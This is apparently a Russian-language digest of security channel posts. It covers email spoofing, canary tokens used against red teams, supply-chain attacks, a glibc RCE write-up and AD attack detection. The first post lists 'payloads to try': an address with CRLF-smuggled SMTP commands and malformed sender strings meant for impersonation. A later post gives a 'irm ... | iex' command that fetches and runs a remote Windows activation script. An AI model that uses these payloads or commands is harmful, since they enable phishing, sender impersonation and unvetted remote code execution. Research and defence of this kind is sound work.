Fsecurity | HH

❔ #заметки #offense ➡️Дополнительно разберёмся в кейсах, описанных в статье @slonser_notes, и в извлекаемом из них импакте!    🧩   ‟Old new email attacks”   [ 🐍 / 💻 / 💻 ]  ⚡️ 📌 ГЛАВНЫЕ ПОИНТЫ ▪️Пробуйте общаться с почтовыми сервисами по SMTP:

Gmail:     smtp.gmail.com
Outlook:   smtp-mail.outlook.com
Yandex:    smtp.yandex.ru
Mail.Ru:   smtp.mail.ru
 ...

SSL port:  465
TLS port:  587

▪️Пробуйте разные входные точки:

From: EMAIL
From: <EMAIL>
From: "NAME" <EMAIL>
From: <EMAIL> (COMMENT)
From: GROUP: EMAIL, EMAIL
From: GROUP: <EMAIL>
Sender: EMAIL

▪️Оказались уязвимы почтовые продукты Google, Microsoft, Yandex, ... ▪️Оказались уязвимы парсеры адресов электронных почт, библиотеки ЯП:     ▪️Python   [email]     ▪️JS   [addressparser, email-addresses]     ▪️C#   [System.Net.Mail]     ▪️Go   [net/mail]     ▪️Rust, Ruby, PHP, ... 🔑 ПЕЙЛОАДЫ НА ПРОБУ ...➡️...

attacker@[testText\r\nRSET\r\nMAIL FROM: <spoofed@example.org>\r\nRCPT TO: <victim@example.org>\r\nDATA\r\nFrom: spoofed@example.org\r\n\r\nText\r\n.\r\nQUIT\r\n]

📧➡️📧

"Spoofed"
<attacker@outlook.com>: spoofed@outlook.com

📧➡️📧, 📧, ...

<spoofed@gmail.com> "spoofed" <attacker@gmail.com>

📧➡️📧, 📧

Attacker
<spoofed@gmail.com>:<attacker@gmail.com>

📧➡️...

": <attacker@gmail.com> "<spoofed@gmail.com>"

☠️  ИМПАКТ & ПОСЛЕДСТВИЯ ▪️Возможность внедрения конструкции CRLF (\r\n) для внедрения SMTP команд➡️Имперсонация, ... ▪️Некорректный парсинг адреса электронной почты отправителя➡️Имперсонация

❗️Имперсонация➡️(в данном случае) Подделка адреса электронной почты отправителя; Обеспечивает кратное повышение легитимности фишинговых писем в глазах атакуемых

💬 Поскольку вендоры считают перечисленные уязвимости фичами, возможность эксплуатации сохраняет актуальность и уже сейчас мы можем наблюдать, как, например, этими "фичами" начинают пользоваться хактивисты для проведения качественных фишинговых рассылок; ➡️Stay safe.    @HaHacking  🐇

🔗Ссылка: https://habr.com/ru/companies/sovcombank_technologies/articles/817463/

🔗Ссылка: https://www.anti-malware.ru/news/2024-05-28-121172/43460

😎 Вредные советы про awareness ❕ Что мы знаем про awareness? Ну, то что это проверка людей на понимание смысла ИБ. Это фиктивный фишинг, чтобы посмотреть сколько людей на это клюнут 🎣. Примерно так, но есть ещё кое-что, давайте посмотрим на это со стороны RedTeam. Мы проникли в инфру и лазим в поисках интересных файлов. И вот, мы находим классную xlsx таблицу с сотрудниками, которые скинулись на "кулер" или микроволновку. Вдруг, нас отрубает от сети и мы в недоумении смотрим на SSH Connection Refused ... 🐣 Вот и наступает момент поговорить про Canary token

Canary token – это инструмент, который используется в сфере информационной безопасности для обнаружения инцидентов и защиты сети. Это фиктивные данные или файлы, которые размещаются в системе с целью выявить несанкционированный доступ или попытку несанкционированного доступа.

Представьте, что у нас есть сеть, в которую мы внедряем Canary token в виде файла с названием «Список паролей» или «Супер-дупер важный документ». Как только кто-то попытается его открыть, система регистрирует эту активность и отправляет уведомление в SOC 🖥. Таким образом, Canary действует как ловушка, сигнализируя о попытке несанкционированного доступа. В контексте проверки на устойчивость сотрудников к фишингу, Canary может быть использован, как часть обучающей программы для сотрудников организации. Проще говоря, это когда Вам приходит на рабочую почту письмо с документом премий или что-то "очень важное", а уже в нем (письме или файле) зашита канарейка.

Привет сотрудникам Phishman 😈

Возвращаясь к ситуации с RedTeam, предположим, что они случайно активировали Canary token во время своего шествия по инфре. Это предоставило команде BlueTeam информацию о потенциальном инциденте и позволяет им принять меры по защите сети. Или продолжить смотреть графики, тут мне уже не известен их род занятий... 😁 🤨 Но а что делать? Не открывать файлы. И да и нет. Вот у нас 1 файл - можно изучить его руками. 10 - дольше, но тоже нормально. А 100 или 1000... По-этому, я написал простенький инструмент на Go для поиска и удаления таких канареек Ссылка на 💻 GitHub — ТЫК Буду рад вашим звёздочкам ⭐️ и комментариям под постом ❤️ #redteam

Мы уже пугали вас атаками через подрядчиков-аутсорсеров – когда рассказывали, как хакеры закрепляются в инфраструктуре жертв, используя ngrok или AnyDesk. И эти страшилки неслучайны: по данным нашей IR-команды, в 2023 году атаки через «доверительные отношения» вошли в тройку самых популярных векторов. А теперь коллеги выкатили подробный инструктаж на эту тему: как чаще всего организован доступ между целевой организацией и поставщиком услуг, какими способами злоумышленники получают доступ в сеть поставщика и как развивают атаку в сторону его клиентов. И главное – что делать, чтобы такого не случилось у вас. Один из интересных фактов этого исследования: обычно злоумышленники остаются необнаруженными в инфраструктуре целевой организации до трёх месяцев, прежде чем развивать атаку (например, шифровать данные). По идее, этого времени достаточно, чтобы ИБ-служба выявила инцидент и отреагировала на него до того, как настанут критические последствия. При этом в подавляющем большинстве инцидентов антивирусные решения детектировали подозрительную активность – просто вердикты антивирусов не получали должного внимания. Полный текст исследования "Trusted Relationship Attack: доверяй, но проверяй": https://securelist.ru/trusted-relationship-attack/109620/

🔗Ссылка: https://habr.com/ru/articles/817741/

🔗Ссылка: https://habr.com/ru/companies/bastion/articles/817293/

GhostHook v1.0 – беcфайловое вредоносное ПО, меняющее облик, чтобы обмануть ваши системы 🔗Ссылка: https://www.securitylab.ru/news/548635.php

🔗Ссылка: https://habr.com/ru/articles/817579/

🔗Ссылка: https://habr.com/ru/articles/816025/

Насчёт новых роликов👾 Я пока, что не могу начать их делать из-за подготовки к экзамену ✍️ Надеюсь, все меня поймут... Как будет время, я обязательно сделаю ролик ▶️ Поэтому ролик будет с задержкой👾

🔗Ссылка: https://www.securitylab.ru/news/548638.php

CVE-2024-2961 - тихоходка * Помните месяц назад был кипишь, относительно того что нашли дырку в glibc. Тогда многие хостеры еще напряглись. Но так как в широкий паблик ничего не уплыло, все успокоились. А ресёрчеры не успокоились, слишком вкусно пахло перспективным сплоитом. Ну так вот, на сцену вползает Iconv со своим RCE. * Сегодня вышел отличный WriteUp (первая часть из трёх), который раскрывает только часть потенциала дыры 2961 * Читаем Iconv, set the charset to RCE: Exploiting the glibc to hack the PHP engine

🔗Ссылка: https://habr.com/ru/articles/761450/

🔗Ссылка: https://habr.com/ru/articles/817409/

🔗 Ссылка: https://www.securitylab.ru/news/548633.php

Мое новое комбо для гига быстрого развертывания виндовируалок в лабе 👇🏻 Образы: 🔗 https://uupdump.net Таблэтка: 🔗 https://github.com/massgravel/Microsoft-Activation-Scripts irm https://get.activated.win | iex Evaluation теперь идет лесом.

Релиз моей статьи об обнаружении атак на Active Directory с помощью Suricata. Caster - If You Hadn't Genre: Defensive Label: exploit.org Release Date: 27 May 2024 Performed by: Caster Written by: Magama Bazarov Cover Man: Magama Bazarov (Sony ILCE-7M3, f/5.6, 1/3 sec) https://blog.exploit.org/caster-ifyouhadnt

🔗Ссылка: https://habr.com/ru/companies/owasp/articles/817241/